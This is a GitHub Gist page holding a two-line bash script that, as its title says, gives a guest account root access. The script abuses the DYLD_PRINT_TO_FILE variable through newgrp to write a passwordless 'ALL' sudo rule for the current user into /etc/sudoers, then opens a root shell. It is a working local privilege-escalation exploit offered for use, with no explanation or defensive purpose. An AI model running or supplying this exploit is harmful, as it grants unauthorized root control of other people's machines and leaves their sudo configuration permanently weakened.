Created
July 23, 2015 09:51
-
-
Save Irvyne/b9c1138607fc5e3faf50 to your computer and use it in GitHub Desktop.
Autoconnect as root when ur logged as Guets account
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment